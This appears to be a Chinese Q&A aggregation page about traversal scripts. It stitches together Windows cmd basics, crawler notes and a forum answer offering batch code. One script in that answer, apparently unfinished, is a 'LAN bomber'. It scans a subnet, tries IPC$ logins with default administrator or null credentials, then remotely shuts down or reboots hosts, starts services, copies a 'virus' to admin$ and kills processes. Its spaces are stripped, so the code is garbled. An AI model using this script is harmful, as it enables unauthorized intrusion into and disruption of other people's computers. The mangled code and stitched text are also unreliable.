網址遍歷腳本
『壹』 Windows cmd(bat) 腳本簡介
命令提示符是在 操作系統 中,提示進行命令輸入的一種工作提示符。在不同的操作系統環境下,命令提示符各不相同。在 windows 環境下,命令行程序為 cmd.exe,微軟 Windows 系統基於 Windows 上的命令解釋程序,類似於微軟的 DOS 操作系統 。
四種文件類別
命令不區分大小寫
在 Windows 系統中,所有的文件夾或者文件名、環境變數、命令都是 不區分大小寫 。據說但是是為了兼容 DOS,才沒有區分大小寫,後續就一直不區分了。
查看 windows 版本
winver
打開注冊表
regedit
打開計算器
calc
打開繪圖
mspaint
打開記事本
notepad
打開寫字板
wordpad
打開控制面板
control
打開遠程桌面 (Microsoft terminal services client)
mstsc
打開或關閉 Windows 功能
optionalfeatures
服務管理
services.msc
系統配置
msconfig.exe
防火牆
firewall.cpl
卸載或更改程序
appwiz.cpl
打開計算機管理
compmgmt.msc
打開電源選項
powercfg.cpl
打開 internet 選項
inetcpl.cpl
系統屬性
sysdm.cpl
顯示設置
desk.cpl
證書管理
certmgr.msc
添加硬體
hdwwiz.exe
關機
shutdown
dir
cd
tree
顯示目錄結構
tree d: #顯示D盤的文件目錄結構
日期和時間
文件/文件夾的重命名
復制文件
刪除文件是不經過回收站
刪除空文件夾
rmdir(rd):刪除非空文件夾且需要進行確認
刪除非空文件夾且不需要進行確認
重命名文件或者文件夾。(盡管引號不是強制性的,但如果當前名稱或新名稱中都有空格)
清屏
cls
顯示文件內容
type
網址/域名 :檢查當前網址是否連通 (註:會返回當前網址對應的IP地址和網路狀態)
ping
方法一:使用 ↑↓ 箭頭上下翻看執行過的命令,此方式適宜執行命令較少的情況;
方法二:使用快捷鍵:
F7: 快捷鍵查看所有執行過的命令
F3:調出上一條執行過的命令,調出後直接回車即可執行;
F8:搜索命令歷史記錄,和↑向上箭頭類似。
F9:按編號選擇命令,來調出執行過的命令:
方法三:doskey /HISTORY 顯示保存在內存中的所有命令
可搭配 more、findstr 命令進行使用:
doskey /HISTORY | more
doskey /HISTORY | findstr dir
doskey /HISTORY > d:123.txt 重定向到文件
後綴一般存儲為 bat, cmd 格式的文件。
創建文件:建議右鍵-新建文本文檔。建議選擇 gbk 中文編碼,換行選擇 。示例中我將文件存儲為 hello.bat。
使用方法:雙擊使用或在命令提示符中鍵入文件名。
設置 cmd 窗口的標題
輸出到屏幕
將參數1,參數2 輸入到命令行
hello.bat aaa bbb
說明:
%0 批處理文件本身
%1 第一個參數
...
%9 第九個參數
pause 就是暫停命令
pause > null 的作用是同樣的,區別是不顯示「請按任意鍵繼續. . .」這些字,nul 相當於空設備。
定義變數,注意等號左右不能加空格。
在批處理中 > 和 < 為重定向符號,這就意味著我們不能用 > 來表示大於,< 表示小於,也就意味著不能用 >=、<=、<> 來表示大於等於、小於等於、不等於,還好,在批處理中用了其他的操作符代替它們,這在"if /?"中有說明:
引用內容 引用內容
1. &
順序執行多條命令,而不管命令是否執行成功
2. &&
順序執行多條命令,當碰到執行出錯的命令後將不執行後面的命令
如果找到了"ok"字樣,就顯示"成功",找不到就不顯示
3. ||
順序執行多條命令,當碰到執行正確的命令後將不執行後面的命令
如果找不到"ok"字樣,就顯示"不成功",找到了就不顯示
5. 輸出重定向命令
> 清除文件中原有的內容後再寫入
>> 追加內容到文件末尾,而不會清除原有的內容
6. 管道操作符 |
clip 將內容復制到剪切板
dir 組合 clip 的用法示例
start 可以打開文件夾,文件,網址等
if 關鍵字和語句
1、if [NOT]"參數" == "字元串"
2、if [NOT] exist 文件名 待執行的命令
3、if [NOT] errorlevel 數字 待執行的命令
如果返回碼大於或者等於(或者小於,使用NOT)指定的數字,則條件成立,運行命令,否則運行下一句。DOS 程序運行時都會返回一個數字給 DOS,稱為錯誤碼 errorlevel 或稱返回碼。默認值為 0,一般命令執行出錯會設 errorlevel 為1。數字取值范圍 0~255。判斷時值的排列順序應該由大到小,否則會出現非期望的結果。
示例1:if 搭配 exist 進行使用,用於判斷某文件是否存在
原來的環境變數後加上英文狀態下的分號和路徑
set PATH=%PATH%;C:UserszhangsanDocumentswinrar-x64-580
setx PATH "%PATH%;D:Program Files"
該語句表示添加到用戶環境變數, 設置後對當前窗口不生效, 後續窗口都生效了.
(建議執行一次, 防止多試重復添加, 該威力巨大.
目前不知道怎麼刪除單項環境變數, 只能採取重新賦值的方式)
鍵入 "SETX /?" 了解用法信息。
切記:每個指令之間必須以空格隔開,in 與 ( 之間有空格,do 與 ( 間也有空格,否則命令會無法成功執行
[ ]:表示此項指令為可選
[參數]:參數取值一共有四種: /d, /r, /l, /f,加上無參數,所以一共五種場景
無參:遍歷當前路徑的文件夾下的文件,但也可在(匹配符)中指定路徑
批處理腳本遍歷指定文件夾下的文件_RuncX的技術博客_51CTO博客
https://blog.51cto.com/runcx/2465152
C:Usersferder>echo %date%
2022/07/02 周六
C:Usersferder>echo %time%
20:19:37.09
因此
提取年 %date:~0,4% 表示從左向右指針向右偏0位,然後從指針偏移到的位置開始提取4位字元,結果是2014
提取月 %date:~5,2%
提取日 %date:~8,2%
同理提取時間的時分秒為 %time:~0,2%%time:~3,2%%time:~6,2%
實戰操作:
md %date:~0,4%%date:~5,2%%date:~8,2%_%time:~0,2%%time:~3,2%%time:~6,2%
則是再當前目錄下創建一個空的文件夾。
DOS 批處理中的字元串處理詳解(字元串截取)
https://blog.csdn.net/xiaoding133/article/details/39253083
『貳』 python網路爬蟲可以幹啥
Python爬蟲開發工程師,從網站某一個頁面(通常是首頁)開始,讀取網頁的內容,找到在網頁中的其它鏈接地址,然後通過這些鏈接地址尋找下一個網頁,這樣一直循環下去,直到把這個網站所有的網頁都抓取完為止。如果把整個互聯網當成一個網站,那麼網路蜘蛛就可以用這個原理把互聯網上所有的網頁都抓取下來。
網路爬蟲(又被稱為網頁蜘蛛,網路機器人,在FOAF社區中間,更經常的稱為網頁追逐者),是一種按照一定的規則,自動的抓取萬維網信息的程序或者腳本。另外一些不常使用的名字還有螞蟻,自動索引,模擬程序或者蠕蟲。爬蟲就是自動遍歷一個網站的網頁,並把內容都下載下來
『叄』 求遍歷網段ip的shell腳本
是可以借鑒這裡面的一些東西而已,因為只要把這兩段小腳本中的一些東西結合起來可以達到你的要求(Windows環境中),不是要完全的照搬,呵呵。
shell不會玩,Windows下的bat還會點...
還有一點要在Windows中調用linux中的shell腳本啊?
應該不可能...或者很難!
在Windows下我才能做到,不過太費時間了,給你兩段現成的代碼,如果你有時間有興趣的話,可以在Windows下玩玩這代碼,你有興趣的話可以結合一下,然後再做一些修改就能達到你要的要求!
第一段:
@echooff
title掃描在線IP
::MODEcon:COLS=60LINES=18
color0a
::裝飾。
:kaishi
cls
for/l%%iin(1,1,4)doecho.
set/pqishi=起始IP:
set/pjieshu=終止IP:
IFERRORLEVEL1echo錯誤的IP地址格式!&&pause&&gotokaishi
echo.
::從鍵盤獲得兩個變數的值。
for/f"tokens=1-4delims=."%%ain("%qishi%")do(
if%%aLSS0gotoerror_2
if%%aGTR255gotoerror_2
if%%bLSS0gotoerror_2
if%%bGTR255gotoerror_2
if%%cLSS0gotoerror_2
if%%cGTR255gotoerror_2
if%%dLSS0gotoerror_2
if%%dGTR255gotoerror_2
setv1=%%a
setv2=%%b
setv3=%%c
setv4=%%d
)
::分離起始IP的四個段並賦值,判斷IP是否正確。
for/f"tokens=1-4delims=."%%ain("%jieshu%")do(
if%%aLSS0gotoerror_2
if%%aGTR255gotoerror_2
if%%bLSS0gotoerror_2
if%%bGTR255gotoerror_2
if%%cLSS0gotoerror_2
if%%cGTR255gotoerror_2
if%%dLSS0gotoerror_2
if%%dGTR255gotoerror_2
setv5=%%a
setv6=%%b
setv7=%%c
setv8=%%d
)
::分離終止IP的四個段並賦值,判斷IP是否正確。
IF%V5%LSS%V1%echo錯誤:終止IP不能小於起始IP。&pause&gotokaishi
::判斷終止IP與起始IP的正確性。
IF%V4%LEQ%V8%setzeng_1=1
IF%V4%GEQ%V8%setzeng_1=-1
IF%v3%LEQ%v7%setzeng_2=1
IF%V3%GEQ%V7%setzeng_2=-1
IF%v2%LEQ%v6%setzeng_3=1
IF%v2%GEQ%v6%setzeng_3=-1
for/L%%din(%v1%,1,%v5%)do(
for/L%%cin(%v2%,%zeng_3%,%v6%)do(
for/L%%bin(%v3%,%zeng_2%,%v7%)do(
for/L%%ain(%v4%,%zeng_1%,%v8%)do(
ping/n1%%d.%%c.%%b.%%a>nul&&echo%%d.%%c.%%b.%%aOK||echo%%d.%%c.%%b.%%aERROR
echo%%d.%%c.%%b.%%a
)
)
)
)
echo掃描完畢!
pause&gotokaishi
:error_2
echo錯誤的IP地址!
pause
gotokaishi
第二段(未編寫測試完):
@echooff
titleWin2k區域網轟炸器未完待續~す珹す~
color0a
:start
echo-------------------------------------------------------------------------------
echo收集信息中...&echo.
for/f"tokens=15"%%iin('ipconfig^|find/i"ipaddress"')dosetip=%%i
for/f"tokens=1,2,3delims=."%%iin('echo!ip!')dosetwd=%%i.%%j.%%k
echo你的IP地址是:!ip!
echo你所在的網段是:!wd!
echo.
echo---請選擇掃描在線主機的掃描方式---
echo1.ping2.netview3.exit註:直接按回車鍵使用默認方式!【ping測試】
set/pfs=請輸入:
if"%fs%"==""gotoping
if"%fs%"=="1"gotoping
if"%fs%"=="2"gotonetview
if"%fs%"=="3"exit
cls&gotostart
:ping
echo.
echo輸入需要掃描的IP范圍(不需輸網段)1至255之內結尾數不能小於起始數!
set/pqs=起始數:
set/pjs=結束數:
if!qs!gtr!js!echo起始數不能大於結束數!&&ping127.1/n2>nul2>nul&&gotoping
echo正在掃描!wd!.!qs!至!wd!.!js!范圍內的主機在線情況...
echo-------------------------------------------------------------------------------
for/l%%iin(!qs!,1,!js!)do(
ping!wd!.%%i/n1>nul2>nul&&echo!wd!.%%i在線!&&echo!wd!.%%i>>zx.txt||echo!wd!.%%i離線!
)
echo--------------------------------------------------------------------------------
gotoipc$scan
:netview
echo.
echo此區域網內在線主機:
echo-------------------------------------------------------------------------------
FOR/F"eol=-delims=\"%%cin('netview')do(
FOR/F"eol=服"%%iin('echo%%c')do(
FOR/F"eol=命"%%iin('echo%%c')do(
echo%%i&&echo%%i>>zx.txt
)
)
)
echo--------------------------------------------------------------------------------
gotoipc$scan
:ipc$scan
echo.
echo即將開始ipc$掃描...
echo.
ifnotexistzx.txtechosorry!此區域網中無在線主機,無法進行ipc$掃描!正在返回主菜單...&&ping127.1/n5>nul2>nul&&cls&&gotostart
echoipc$掃描時使用何用戶?註:直接按回車鍵使用默認用戶!【administrator】
echo要用空用戶(空鏈接)請輸入【null】
set/puser=請輸入:
if"!user!"==""setuser=administrator
if"!user!"=="null"setuser=
echoipc$掃描時使用何密碼?註:直接按回車鍵使用默認密碼!【空】
set/ppassword=請輸入:
if"!password!"==""setpassword=
echo.
echo你選擇的用戶為:!user!
echo你選擇的密碼為:!password!
ping127.1/n2>nul2>nul
echo.
echo正在掃描能ipc$連接的機子...
setipc$=0
for/f%%iin('typezx.txt')do(
echo-------------------------------------------------------------------------------
netuse\%%iipc$"!password!"/user:"!user!">nul&&(
set/aipc$=!ipc$!+1
echo連接%%i成功!
echo%%i>>ipc.txt
netuse\%%i/del>nul2>nul
)||(
echo連接%%i失敗!↑↑↑以上是錯誤提示!↑↑↑
)
)
echo--------------------------------------------------------------------------------
echo按任意鍵進入下一步!&pause>nul
:kill
cls
for/l%%iin(1,1,9)doecho.
echo掃描到!ipc$!台機器能ipc$連接成功!
for/l%%iin(1,1,3)doecho.
echo請問美麗的大姐您要怎麼捉弄他們?
echo.
echo1:關了他們2:重啟他們3:開啟服務
echo4:傳送病毒5:彈出消息6:關閉進程
echo.
set/pshr=請選擇:
if"!shr!"=="1"gotogj
if"!shr!"=="2"gotocq
if"!shr!"=="3"gotofw
if"!shr!"=="4"gotobd
if"!shr!"=="5"gotoxx
if"!shr!"=="6"gotojc
gotokill
:gj
for/f%%iin('typeipc.txt')do(
shutdown-m\%%i-s-t0
)
echo完成!按任意鍵返回主菜單!
pause>nul&gotostart
:cq
for/f%%iin('typeipc.txt')do(
shutdown-m\%%i-r-t0
)
echo完成!按任意鍵返回主菜單!
pause>nul&gotostart
:fw
set/pfwm=請輸入需要開啟的服務名:
::還需檢測路勁
for/f%%iin('typeipc.txt')do(
netstart\%%i!fwm!
)
echo完成!按任意鍵返回主菜單!
pause>nul&gotostart
:bd
set/pbdm=請輸入要傳送的病毒的路徑:
for/f%%iin('typeipc.txt')do(
!bdm!\%%iadmin$
::還需開啟對方計劃任務服務運行病毒
)
echo完成!按任意鍵返回主菜單!
pause>nul&gotostart
:xx
set/pxx=請輸入要彈出的消息:
for/f%%iin('typeipc.txt')do(
echo正在彈消息中...
sc\%%iconfigmessengerstart=auto>nul2>nul
sc\%%istartmessenger>nul2>nul
netsend%%i!xx!
)
echo完成!按任意鍵返回主菜單!
pause>nul&gotostart
:jc
set/pjc=請輸入需要關閉的進程名:
for/f%%iin('typeipc.txt')do(
!bdm!\%%iadmin$
taskkill/s\%%i/f/im!jc!
)
echo完成!按任意鍵返回主菜單!
pause>nul&gotostart1
pause

『肆』 怎麼在電腦上實現自動搜索網頁功能。比如我要搜索100.com到999.com需要什麼程序腳本來實現
首先你要用MutouDic工具生成所有的網址,然後將這些網址添加到軟體網頁自動刷新監控工具(PageRefresh)里邊,設置源碼監控,監控404代碼就可以了,只要包含404代碼的就是打不開的網站,反之就是可以打開的網站。
『伍』 在網頁中,怎麼用腳本
腳本通常可以由應用程序臨時調用並執行。各類腳本被廣泛地應用於網頁設計中,因為腳本不僅可以減小網頁的規模和提高網頁瀏覽速度,而且可以豐富網頁的表現,如動畫、聲音等。
當點擊網頁上的Email地址時能自動調用Outlook Express或Foxmail這類郵箱軟體,就是通過腳本功能來實現的。也正因為腳本的這些特點,往往被一些別有用心的人所利用。
例如在腳本中加入一些破壞計算機系統的命令,這樣當用戶瀏覽網頁時,一旦調用這類腳本,便會使用戶的系統受到攻擊。所以用戶應根據對所訪問網頁的信任程度選擇安全等級,特別是對於那些本身內容就非法的網頁,更不要輕易允許使用腳本。
通過「安全設置」對話框,選擇「腳本」選項下的各種設置就可以輕松實現對腳本的禁用和啟用。

(5)網址遍歷腳本擴展閱讀
網頁中的嵌入式腳本語言。熟知的HTML(Hyper Text Mark-up Language)即超文本標記語言,就是一種腳本語言,它的解釋器就是瀏覽器。
JavaScript直到現在仍然是網頁瀏覽器內的主要編程語言,它的ECMAScript標准化保證了它成為流行的通用嵌入式腳本語言。
另外,隨著動態網頁技術發展,ASP、JSP、PHP等嵌入網頁的腳本語言正被廣泛使用,不過這些腳本要通過Web Server解釋,而Html則被瀏覽器執行。
